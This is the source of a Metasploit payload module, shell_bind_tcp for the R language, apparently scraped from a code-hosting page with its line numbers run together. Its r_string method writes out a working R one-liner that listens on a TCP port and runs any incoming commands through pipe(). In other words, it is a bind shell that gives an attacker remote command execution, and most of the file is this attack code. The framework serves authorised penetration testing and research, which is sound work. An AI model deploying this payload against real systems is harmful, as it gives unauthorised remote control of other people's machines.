Path: blob/master/modules/payloads/singles/r/shell_bind_tcp.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 12578include Msf::Payload::Single9include Msf::Payload::R10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'R Command Shell, Bind TCP',17'Description' => 'Continually listen for a connection and spawn a command shell via R',18'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],19'License' => MSF_LICENSE,20'Platform' => 'r',21'Arch' => ARCH_R,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'r',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28end2930def generate(_opts = {})31return prepends(r_string)32end3334def r_string35return "s<-socketConnection(port=#{datastore['LPORT']}," \36"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" \37'(pipe(readLines(s,1))),s)}'38end39end404142